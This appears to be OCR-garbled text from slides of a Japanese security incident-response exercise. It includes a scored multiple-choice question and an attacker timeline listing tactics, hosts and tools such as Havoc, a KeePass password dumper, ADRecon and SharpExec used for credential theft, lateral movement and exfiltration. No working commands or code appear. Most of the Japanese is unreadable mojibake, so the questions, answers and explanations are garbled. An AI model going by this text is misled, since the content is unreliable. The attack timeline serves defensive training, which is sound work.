7. 9T % )LET

5_)3 Credential AccessM @Y . KeePassh oL 7wl ZEiE
LY

A.1,3,7




8.3 Incident Response (2pt)
CCETOREBETHMNOIILEZBFA . RICERT REZLEZ1DERE L,

%: BREDRVLHDITKRZEZNEELY)—2IZT 5. OSEHBA U AM—ILT

B: SwanZk £ DiHFR(WSO)MSHNEADFEEZXTOVIT S
C: RIHERMNODNEADBEEZIT RTIAOVITS
D: SwanfE £ (2T —HBEZEITO




8.3 Incident Response (2pt)

DCEEO-EBHDIHRICEENEN>TNSIEMN D, EELHLIADEITIC
ENH K SHCHIEFE

Z DD FERAZIZ DT
%: REDELAHDIIMKRZENERLY)—UICT 2. OSEBAV ALY

— FHLADERDZREMETERT HL
B: Swanf £ DiHFR(WS01)MSHNEADFEEEXTOVIT S
— DIHKRICERENEN>TLNSIDTH+5
D: Swans£e £ I2) T3 —HEZEITO
— SHBEOMRELTIIDEENA VDT UMEBRIZHOBZRELE



17:08:43 Initial Access pipZ FE1TL . Havoc 3 7 K WS01 Swan
17:10:54 Discovery tasklist 7 B A— & 2 B i

17:11:20 Credential KeePassDexeD 7 /L7 N2 % Bt

17:17:06 Aceess KeePassD/N— 'z & Hufs

17:18:19 Dump64D X 7 m—R

17:18:54 Dump64 CKeePassD AEVZ L7

17:19:25 KeePass Password Dumper®4 7> 11—FR

17:20:59 KeePass Password Dumper® 217

17:22:10 kdbx7 7 AV DFFHHL

17:28:24 Discovery ADReconD % 7 m—K

17:29:41 ADRecon® E{T
17:30:21 ADReconD#gER%zipIZFzEH D

17:30:59 ADReconDfE RA2FFHH L




Timestamp
17:38:35
17:39:07
17:40:04
17:40:21
17:41:25

17:42:19
17:44:28
17:45:36

Tactics

Lateral Movement

Persistence

Lateral Movement

Exfiltration

Event Host

SharpExecDZ 7> m—R

SharpExec TDCO1 (A% B

KA Dexeze X m—R

e b exeZh—E AL L TRk

SharpExec CFILEO1 (A7 B WS01

e EDILIET- D7 7 ANV FILEO1
HHIDTZ 7 AN DT 4 NH —%zipll £ DD
zip7 7ANVORFH L

User

Henderson

Swan

Henderson




Thank you!!




